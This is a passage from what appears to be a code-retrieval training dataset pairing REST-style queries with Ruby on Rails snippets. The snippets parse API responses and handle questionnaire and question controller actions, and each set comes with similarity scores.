URI.parse(url)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"ApiToken #{@credential.access_token}\"\n body = { \"filter\" => { \"ids\" => [@app_result.details.id] } }\n request.body = JSON.dump(body)\n req_options = { use_ssl: uri.scheme == \"https\" }\n\n resp = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n resp\n end", "def set_attributes_from_etsy\n\t\tetsy_data = get_etsy_data\n\t\tlisting = etsy_data[\"results\"][0]\n\t\tself[:name] = listing[\"title\"]\n\t\tself[:description] = listing[\"description\"]\n\t\tself[:price] = listing[\"price\"]\n\t\tself[:quantity] = listing[\"quantity\"]\n\t\t# self[:style] = listing[\"style\"]\n\t\tself[:views] = listing[\"views\"]\n\t\tself[:photo_pic] = get_pictures_from_etsy\n\t\t\n\tend", "def process_metadata\n if @response\n self.resource.metadata[:http_version] = @response.http_version\n self.resource.metadata[:status] = @response.status\n self.resource.metadata[:reason] = @response.reason\n self.resource.metadata[:headers] = @response.headers\n end\n end", "def author\n @author_data ||= read(\"/user/#{@author}/about.json\", :handler => \"User\")\n end", "def set_user_response\n @user_response = UserResponse.find(params[:id])\n end", "def set_attrs_from_response(response)\n unless response.body.nil? or response.body.length < 2\n json = self.class.parse_json(response.body)\n set_attrs(json)\n end\nend", "def set_for(user)\n data = user[0].to_h\n main_content.about_the_claimant.tap do |s|\n set_field(s, :title, data)\n set_field(s, :first_name, data)\n set_field(s, :last_name, data)\n set_field(s, :date_of_birth, data)\n set_field(s, :gender, data)\n set_field(s, :has_special_needs, data)\n set_field(s, :special_needs, data)\n end\n\n main_content.claimants_contact_details.tap do |s|\n set_field(s, :building, data)\n set_field(s, :street, data)\n set_field(s, :locality, data)\n set_field(s, :county, data)\n set_field(s, :post_code, data)\n set_field(s, :country, data)\n set_field(s, :telephone_number, data)\n set_field(s, :alternative_telephone_number, data)\n set_field(s, :email_address, data)\n set_field(s, :correspondence, data)\n end\n end", "def create\n @response = Response.new(\n body: params[:body],\n post_id: params[:post_id],\n user_id:current_user.id\n )\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: \"Response was successfully created.\" }\n format.json do\n render json: @response,\n include: {\n user:{only:[:id, :name, :about, :address, :longitude, :latitude]}\n }\n end\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_metareviewer(metareviewer)\n MetareviewResponse.create(:reviewed_object_id => self.id, #changed MetareviewResponseMap to MetareviewResponse\n :reviewer_id => metareviewer.id, :reviewee_id => reviewer.id)\n end", "def set(request, response)\n table.insert(\n path: request.path,\n auth: request.headers['Authorization'],\n params_hash: params_hash(request),\n created_at: Time.now,\n response_body: response.body)\n response\n end", "def augment_success(response)\n return unless response['Content-Type'].to_s().index(self.format.mime_type) == 0\n \n details = begin\n self.format.decode(response.body.to_s(), false)\n rescue\n {}\n end\n \n [:start_index, :page_size, :page_count, :total_count].each do |attribute|\n self.instance_variable_set(:\"@#{attribute}\", details[attribute.to_s()])\n end\n end", "def set_user_response\n @user_response = UserResponse.find(params[:id])\n end", "def fill_with(test_response)\n if (test_response.nil?) \n return\n end\n self.status = test_response.status unless test_response.status.nil?\n self.message = test_response.message unless test_response.message.nil?\n self.user_time = test_response.user_time unless test_response.user_time.nil?\n self.system_time = test_response.system_time unless test_response.system_time.nil?\n self.memory_usage = test_response.memory_usage unless test_response.memory_usage.nil?\n self.exit_status = test_response.exit_status unless test_response.exit_status.nil?\n self.term_sig = test_response.term_sig unless test_response.term_sig.nil?\n puts \"TEST ID IS\", test_response.test_id\n self.test = PCS::Model::Test.find(test_response.test_id) unless test_response.test_id.nil?\n self.checker_response = PCS::Model::CheckerResponse.new\n self.checker_response.fill_with(test_response.checker_response) unless test_response.checker_response.nil?\n end", "def data\n { 'X-TrackerToken' => api_token,\n 'Content-type' => \"application/xml\" }\n end", "def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n fetch_user_kyc_details\n\n fetch_user_details\n\n set_current_page_data\n\n set_api_response_data\n\n success_with_data(@api_response_data)\n\n end", "def set_response(item_class_name)\n if @api_response.success?\n @total_count = @api_response[\"totalCount\"]\n @total_pages = @api_response[\"totalPages\"]\n @count = @api_response[\"count\"]\n @timestamp = @api_response[\"timestamp\"]\n @items = []\n unless @api_response[\"collection\"].nil?\n @api_response[\"collection\"].each do |attr_item|\n item = item_class_name.new\n item.set_item(attr_item)\n @items << item\n end\n end\n else\n @error = @api_response.parsed_response\n end\n end", "def author\n @info[:Author]\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def json_response(data = {})\n base = {\n 'api_version' => VERSION,\n 'auth' => 1,\n 'last_refreshed_on_time' => Feed.last_refreshed_at.to_i\n }\n\n content_type :json\n base.merge(data).to_json\n end", "def set_response\n @response = Response.find_by_id(params[:id])\n end", "def success_response(api_response, response)\n @response_details = response[:envelope][:body][:create_pickup_reply]\n end", "def set_payload(data)\n @payload = { \n 'caption' => data['caption']['text'], \n 'photo_url' => data['images']['standard_resolution']['url'],\n 'title' => \"#{data['user']['username']}_#{data['created_time']}\"\n }\n @log.debug(\"Payload is #{@payload}\")\n end", "def reviewed_by=(value)\n @reviewed_by = value\n end", "def format_response\n return '' if data.nil? || data.empty?\n\n case data\n when Hash\n message = data[:message] ? data[:message] : ' '\n docs = data[:documentation_url]\n error = create_error_summary\n message << error if error\n message << \"\\nSee: #{docs}\" if docs\n message\n when String\n data\n end\n end", "def parse_response(response)\n gimme_what_you_got = {}\n response_doc = JSON.parse(response)\n response_doc['data'].each do |id, tap|\n tap_name = id\n\n brewery = tap['brewery']\n beer_name = tap['beer']\n\n beer_type = tap['style']\n # beer_type.sub! /\\s+-\\s+/, ''\n\n # abv = beer_node.css('td')[4].children.to_s\n full_text_search = \"#{brewery} #{beer_name.to_s.gsub /(\\d+|')/, ''}\" # #{beer_desc.to_s.gsub /\\d+\\.*\\d*%*/, ''}\n\n price = (tap['prices'][0].sub /\\$/, '').to_f\n\n gimme_what_you_got[tap_name] = {\n # type: tap_type,\n # remaining: remaining,\n brewery: brewery.to_s,\n name: beer_name.to_s,\n desc: beer_type.to_s,\n # abv: abv.to_f,\n price: price,\n search: full_text_search\n }\n end\n\n gimme_what_you_got\n end", "def parse_response(response)\n\t date_title = response.parsed_response['response']['trip']\n\t self.title = date_title['title']\n\n\t date_start = response.parsed_response['response']['trip']['period_of_record']['date_start']['date']\n\t self.startdate = date_start['pretty']\n\n\t date_end = response.parsed_response['response']['trip']['period_of_record']['date_end']['date']\n\t\tself.enddate = date_end['pretty']\n\n\t\t#elements\n\t \tminprecip = response.parsed_response['response']['trip']['precip']['min']\n\t self.precipmin = minprecip['in']\n\t avgprecip = response.parsed_response['response']['trip']['precip']['avg']\n\t self.precipavg = avgprecip['in']\n\t maxprecip = response.parsed_response['response']['trip']['precip']['max']\n\t self.precipmax = maxprecip['in']\n\n\t mindewpoint = response.parsed_response['response']['trip']['dewpoint_high']['min']\n\t self.dewmin = mindewpoint['F']\n\t avgdewpoint = response.parsed_response['response']['trip']['dewpoint_high']['avg']\n\t self.dewavg = avgdewpoint['F']\n\t maxdewpoint = response.parsed_response['response']['trip']['dewpoint_high']['max']\n\t self.dewmax = maxdewpoint['F']\n\n\t chance_of_sunny = response.parsed_response['response']['trip']['chance_of']['chanceofsunnycloudyday']\n\t self.sunny = chance_of_sunny['name']\n\t self.sunnyper = chance_of_sunny['percentage']\n\n\t chance_of_rain = response.parsed_response['response']['trip']['chance_of']['chanceofrainday']\n\t self.rain = chance_of_rain['name']\n\t self.rainper = chance_of_rain['percentage']\n\n\t chance_of_thunder = response.parsed_response['response']['trip']['chance_of']['chanceofthunderday']\n\t self.thunder = chance_of_thunder['name']\n\t self.thunderper = chance_of_thunder['percentage']\n\n\t chance_of_wind = response.parsed_response['response']['trip']['chance_of']['chanceofwindyday']\n\t self.wind = chance_of_wind['name']\n\t self.windper = chance_of_wind['percentage']\n\n\t chance_of_snow = response.parsed_response['response']['trip']['chance_of']['chanceofsnowday']\n\t self.snow = chance_of_snow['name']\n\t self.snowper = chance_of_snow['percentage']\n\n\t chance_of_tornado = response.parsed_response['response']['trip']['chance_of']['chanceoftornadoday']\n\t self.tornado = chance_of_tornado['name']\n\t self.tornadoper = chance_of_tornado['percentage']\n\n\t chance_of_hail = response.parsed_response['response']['trip']['chance_of']['chanceofhailday']\n\t self.hail = chance_of_hail['name']\n\t self.hailper = chance_of_hail['percentage']\n\n\t chance_of_fog = response.parsed_response['response']['trip']['chance_of']['chanceoffogday']\n\t self.fog = chance_of_fog['name']\n\t self.fogper = chance_of_fog['percentage']\n\n\t #temperature\n\t date_mintemp = response.parsed_response['response']['trip']['temp_high']['min']\n\t self.min = date_mintemp['F']\n\t date_avgtemp = response.parsed_response['response']['trip']['temp_high']['avg']\n\t self.avg = date_avgtemp['F']\n\t date_maxtemp = response.parsed_response['response']['trip']['temp_high']['max']\n\t self.max = date_maxtemp['F']\n\n\t chance_of_freezing = response.parsed_response['response']['trip']['chance_of']['tempbelowfreezing']\n\t self.freeze = chance_of_freezing['name']\n\t self.freezeper = chance_of_freezing['percentage']\n\n\t chance_of_overfreezing = response.parsed_response['response']['trip']['chance_of']['tempoverfreezing']\n\t self.overfreeze = chance_of_overfreezing['name']\n\t self.overfreezeper = chance_of_overfreezing['percentage']\n\n\t chance_of_oversixty = response.parsed_response['response']['trip']['chance_of']['tempoversixty']\n\t self.warm = chance_of_oversixty['name']\n\t self.warmper = chance_of_oversixty['percentage']\n\n\t chance_of_overninety = response.parsed_response['response']['trip']['chance_of']['tempoverninety']\n\t self.hot = chance_of_overninety['name']\n\t self.hotper = chance_of_overninety['percentage']\n\n\t chance_of_sultry = response.parsed_response['response']['trip']['chance_of']['chanceofsultryday']\n\t self.sweltering = chance_of_sultry['name']\n\t self.swelteringper = chance_of_sultry['percentage']\n\n\t chance_of_humid = response.parsed_response['response']['trip']['chance_of']['chanceofhumidday']\n\t self.humid = chance_of_humid['name']\n\t self.humidper = chance_of_humid['percentage']\n\tend", "def service_response_data\n {\n user_extended_detail: @user_extended_detail\n }\n end", "def update_from_github(response)\n self.name = response['name']\n self.github_login = response['login']\n end", "def author=(author) #setter\n @author = author\n end", "def format_response response \n translate_response_hash_keys response_to_hash(response)\n end", "def get_data\n response = fetch\n if response \n if response.header.code == \"200\"\n doc = Nokogiri::HTML(response.body)\n self.title = doc.title.to_s\n content_description = doc.xpath(\"//meta[@name='description']/@content\")\n # Some people use the wrong capitlization\n if content_description.blank?\n content_description = doc.xpath(\"/html/head/meta[@name='Description']/@content\")\n end\n unless content_description.blank?\n self.description = content_description.to_s\n end\n content_keywords = doc.xpath(\"//meta[@name='keywords']/@content\").to_s\n if content_keywords.blank?\n content_keywords = doc.xpath(\"//meta[@name='Keywords']/@content\").to_s\n end\n \n self.tag_names = content_keywords unless content_keywords.blank?\n self.data_recived_on = Time.now\n end\n self.code = response.header.code.to_i\n else\n self.code = 502\n end\n return response\n end", "def set_title_and_description\n \t\tresp = get_resp(self.url)\n \t\tself.title = resp.match(/<title>(.+)<\\/title>/)[1]\n \t\tself.description = resp.match(/<meta name=\"description\" content=\"([^\\\"]*)/)[1]\n \t\tself.save!\n \tend", "def update_title_and_hash(response)\n response = JSON.parse(response)\n\n page_title = response['page_title']\n unless page_title.nil?\n update_attribute(:page_title, page_title)\n end\n\n page_hash = response['page_hash']\n unless page_hash.nil?\n update_attribute(:page_hash, page_hash)\n end\n\n response\n end", "def build_response\n enrich_object(fawry_api_response)\n end", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def considering(response)\n @response = response\n self\n end", "def update_after_save(response) #:nodoc:\n return if @id && @id != ''\n @raw = JSON.parse(response.body)\n @id = @raw['id']\n @html_link = @raw['htmlLink']\n\n self\n end", "def set_ref_value(response)\n unless response.header.code != 201 || response.header.etag.blank?\n @__ref_value__ = response.header.etag\n orchio_update_ref_table response.header.timestamp\n end\n end", "def print_response_details(response)\n # Parse the mutate response to print details about the entities that\n # were created by the request.\n suffix = \"_result\"\n response.mutate_operation_responses.each do |result|\n result.to_h.select {|k, v| v }.each do |name, value|\n if name.to_s.end_with?(suffix)\n name = name.to_s.delete_suffix(suffix)\n end\n\n puts \"Created a(n) #{::Google::Ads::GoogleAds::Utils.camelize(name)} \" \\\n \"with #{value.to_s.strip}.\"\n end\n end\nend", "def fetchMovieData(movieID)\n puts \"HITTING THE NET\"\n #Construct the URL used to access the API\n url = \"http://api.themoviedb.org/3/movie/#{movieID}?api_key=#{$apiKey}\"\n #Preform a restful request to get the information\n #Uses the RestClient gem to preform the request\n data = RestClient.get(url)\n #Parse the JSON to get a simple hash (key value pairs) of info\n #Uses the JSON gem to avoid manual parsing\n data = JSON.parse(data)\n\n #Reformat some data to make it easier to work with later\n #2015-04 BN: added a translation step so that apostrophes, like \"he's\" willl get \n # passed correctly\n data[\"description\"] = data[\"overview\"][0..249]\n\n \n #Get the information that was not included in the first API call\n #Rating and date info\n ratingAndDate = fetchMovieRatingAndYear(movieID)\n #Add this data to the hash before returning it\n data[\"contentRating\"] = ratingAndDate[\"certification\"]\n data[\"year\"] = Date.parse(ratingAndDate[\"release_date\"]).year.to_s\n\n #Fetch the movie directors and actors and add them to the hash\n data[\"artist\"] = fetchMovieCast(movieID)\n data[\"directors\"] = fetchMovieDirectors(movieID)\n return data\nend", "def sru_response\n # Create bib record.\n title_str = OLE_QA::Framework::String_Factory.alphanumeric(12)\n author_str = OLE_QA::Framework::String_Factory.alphanumeric(14)\n today = Time.now.strftime('%Y%m%d-%H%M')\n bib_ary = [{\n :tag => '245',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + title_str\n },\n {\n :tag => '100',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + author_str\n }]\n bib_editor = OLE_QA::Framework::OLELS::Bib_Editor.new(@ole)\n bib_editor.open\n create_bib(bib_editor,bib_ary)\n query = \"title any #{title_str}\"\n filename = \"sru_perf-#{today}.xml\"\n get_sru_file(query,filename,@ole)\n records = get_marc_xml(filename)\n verify(5) {File.zero?(\"data/downloads/#{filename}\") == false}\n verify(5) {records.count == 1}\n end", "def success_response_data_for_client\n {\n user: user_data,\n user_kyc_data: user_kyc_data\n }\n end", "def paper_data(id)\n paper_response = Request.new(@ms_token).paper_info(id)\n create_new_data_format(JSON.parse(paper_response.body))\n end", "def data\n return @data if @data\n google_hash, data = to_hash, BookData.new\n\n data.creator = google_hash[:creator]\n data.date = google_hash[:date]\n data.description = google_hash[:description]\n data.format = google_hash[:format]\n data.id = google_hash[:id]\n data.identifier = google_hash[:identifier]\n data.language = google_hash[:language]\n data.publisher = google_hash[:publisher]\n\n if google_hash[:rating] && google_hash[:rating][:attributes]\n data.rating = google_hash[:rating][:attributes][:average].to_f\n data.rating_max = google_hash[:rating][:attributes][:max].to_f\n data.rating_min = google_hash[:rating][:attributes][:min].to_f\n end\n\n data.subject = google_hash[:subject].map { |s| s.split(/ [\\-\\/] /) }.flatten.map(&:strip).uniq.sort\n data.title = google_hash[:title].uniq.join(\" \")\n data.updated = google_hash[:updated]\n data.category = google_hash[:category]\n data.embeddability = google_hash[:embeddability][:value]\n data.open_access = google_hash[:openAccess][:value]\n data.viewability = google_hash[:viewability][:value]\n\n google_hash[:link].each do |link|\n href = link.is_a?(Hash) ? link[:attributes][:href] : link.last[:href]\n rel = link.is_a?(Hash) ? link[:attributes][:rel] : link.last[:rel]\n data.send(\"#{rel[/thumbnail|info|annotation|alternate|self/]}_url=\", href)\n end\n\n @data = data\n end", "def set_from_response_data(hash)\n self.response_data = hash\n self.initialize_from_response_data\n self\n end", "def set_result\n raw.data.status_code = raw.statusCode\n raw.data.status_text = raw.statusText\n @result = raw.data\n end", "def service_response_data\n {\n user: @user.get_hash\n }\n end", "def query_alteration_response=(value)\n @query_alteration_response = value\n end", "def parse_response(response)\n\n if response[\"outcome\"]==\"success\"\n\n #Assign calorie counts and grams breakdown\n self.total_calories=response[\"fields\"][\"total_calories\"].to_i\n self.protein_grams=response[\"fields\"][\"total_calories\"].to_i\n self.fat_grams=response[\"fields\"][\"fat_grams\"].to_i\n self.carbohydrate_grams=response[\"fields\"][\"carbohydrate_grams\"].to_i\n self.fiber_grams=response[\"fields\"][\"fiber_grams\"].to_i\n\n #Number of coffees\n self.number_of_coffees=response[\"fields\"][\"number_of_coffees\"].to_i\n\n #Assign medications based on response\n if response[\"choice\"]=='only_took_morning_meds'\n self.morning_medications=true\n self.evening_medications=false\n\n elsif response[\"choice\"]=='only_took_evening_meds'\n self.morning_medications=false\n self.evening_medications=true\n\n elsif response[\"choice\"]=='took_both_morning_and_evening'\n self.morning_medications=true\n self.evening_medications=true\n\n else\n self.morning_medications=false\n self.evening_medications=false\n\n end\n\n self.save \n\n else\n raise \"Bad Scale API callback data\"\n end\n\n end", "def from_response(user, response)\n base_documents_data = response['documents']\n base_documents_data.map do |base_document_data|\n physical_docs = base_document_data['physical_docs'].map do |data|\n doc = PhysicalDocument.from_response(data)\n doc.base_document = self\n doc\n end\n social_docs = base_document_data['social_docs'].map do |data|\n doc = SocialDocument.from_response(data)\n doc.base_document = self\n doc\n end\n virtual_docs = base_document_data['virtual_docs'].map do |data|\n doc = VirtualDocument.from_response(data)\n doc.base_document = self\n doc\n end\n\n args = {\n \"user\"=>user,\n \"id\"=>base_documents_data.first['id'],\n \"name\"=>base_documents_data.first['name'],\n \"permission_scope\"=>base_documents_data.first['permission_scope'],\n \"address_city\"=>base_documents_data.first['address_city'],\n \"address_country_code\"=>base_documents_data.first['address_country_code'],\n \"address_postal_code\"=>base_documents_data.first['address_postal_code'],\n \"address_street\"=>base_documents_data.first['address_street'],\n \"address_subdivision\"=>base_documents_data.first['address_subdivision'],\n \"alias\"=>base_documents_data.first['alias'],\n \"birth_day\"=>base_documents_data.first['day'],\n \"email\"=>base_documents_data.first['email'],\n \"entity_scope\"=>base_documents_data.first['entity_scope'],\n \"entity_type\"=>base_documents_data.first['entity_type'],\n \"ip\"=>base_documents_data.first['ip'],\n \"birth_month\"=>base_documents_data.first['month'],\n \"phone_number\"=>base_documents_data.first['phone_number'],\n \"birth_year\"=>base_documents_data.first['year'],\n \"screening_results\"=>base_documents_data.first['screening_results'],\n \"physical_documents\"=>physical_docs,\n \"social_documents\"=>social_docs,\n \"virtual_documents\"=>virtual_docs\n }\n\n other_keys = base_document_data.keys\n\n [\"physical_docs\", \"social_docs\", \"virtual_docs\"].each do |item|\n other_keys.delete_at(other_keys.index(item))\n end\n\n for key in other_keys do\n if base_document_data.has_key?(key)\n args[key] = base_document_data[key]\n end\n end\n\n base_doc = self.new(args)\n [physical_docs, social_docs, virtual_docs].flatten.each do |doc|\n doc.base_document = base_doc\n end\n\n base_doc\n end\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def set_response\n @response = Response.find(params[:id])\n end", "def adapt_response(response)\n formatted = Lyg::HttpResponse.new(response.code)\n\n response.raw_headers.each do |key, value|\n formatted.headers[key] = value\n end\n\n response.cookies.each do |key, value|\n formatted.cookies[key] = value\n end\n\n formatted.content = response.body\n return formatted\n end", "def h1; api.out \"<h1>#{api.data}</h1>\"; end", "def formatted_response\n self.response\n end", "def format_success_response_data(data)\n if data.present? && @api_response_formatter_class.present?\n format_obj = @api_response_formatter_class.new(data)\n format_obj.perform\n {'formatted_response' => format_obj, 'raw_data' => data}\n else\n data\n end\n end", "def response=(response)\n self.success = response.success?\n self.authorization = response.authorization\n self.message = response.message\n self.params = response.params\n rescue ActiveMerchant::ActiveMerchantError => e\n self.success = false\n self.authorization = nil\n self.message = e.message\n self.params = {}\n end", "def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end", "def set_analysis_response\n @analysis_response = AnalysisResponse.find(params[:id])\n end" ]
[ "0.6194693", "0.6076281", "0.590754", "0.59030014", "0.5798301", "0.57328176", "0.5616093", "0.5567093", "0.54666394", "0.5437539", "0.5358093", "0.53480023", "0.53397286", "0.53344935", "0.5303863", "0.5264913", "0.52462995", "0.52160853", "0.52081645", "0.5206502", "0.5189547", "0.5182763", "0.51823103", "0.5181265", "0.51687217", "0.51620084", "0.5144862", "0.5141923", "0.51412505", "0.51397514", "0.51225746", "0.51212096", "0.51200074", "0.51154363", "0.5114899", "0.511123", "0.510719", "0.5090596", "0.5085917", "0.5068688", "0.50651926", "0.5065096", "0.50614566", "0.50604343", "0.50576174", "0.5057587", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054917", "0.5054721", "0.5051027", "0.50461173", "0.5044011", "0.50427914", "0.50363183", "0.5032137", "0.50315213", "0.503145", "0.5024598", "0.5015028", "0.5012396", "0.5010735", "0.5005769", "0.4999299", "0.49876094", "0.4986815", "0.49834916", "0.49806625", "0.49784648", "0.49767867", "0.49750754", "0.49710962", "0.4970991", "0.49639452", "0.49625647", "0.49610206", "0.4960236", "0.4957437", "0.4952703", "0.4947608", "0.49475795", "0.4944419", "0.4944419", "0.49433315", "0.4942909", "0.49373838", "0.49318045", "0.4927806", "0.49259254", "0.4916703" ]
0.62009466
0
GET /questionnairedetails GET /questionnairedetails.json
def index @questionnairedetails = Questionnairedetail.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend", "def show\n @survey_question_item = SurveyQuestionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_question_item }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def show\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end", "def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end", "def show\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_question }\n end\n end", "def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @survey_question }\n end\n end", "def set_questionnairedetail\n @questionnairedetail = Questionnairedetail.find(params[:id])\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n # @answers = @response.answers\n # @questionnaire_name = @response.questionnaire.name\n # @user = @response.user\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end", "def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end", "def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n render_json @question\n end", "def show\n @questionnaire_group = QuestionnaireGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire_group }\n end\n end", "def show\n json_response(@faq)\n end", "def new\n @survey_question_item = SurveyQuestionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_question_item }\n end\n end", "def show\n \n @dquestion = Dquestion.find(params[:id])\n session[:quest_id] = @dquestion.id\n @danswers = Danswer.where(dquestion_id: @dquestion.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@dtest, @dquestion] }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end", "def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end", "def show\n @my_exam = MyExam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_exam }\n end\n end", "def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end", "def show\n #@questionnaire = Questionnaire.find(params[:id], :include => [:questionnaire_fields ])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n format.js\n end\n end", "def show\n @data_collection = DataCollection.find(params[:id])\n @questionnaires = @data_collection.questionnaires\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_collection }\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end", "def show\r\n @intern_question = InternQuestion.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def new\n @project = Project.find(params[:project_id])\n @questionnaire = Questionnaire.new\n question = @questionnaire.qquestions.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @my_survey = nil # MySurvey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_survey }\n end\n end", "def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def 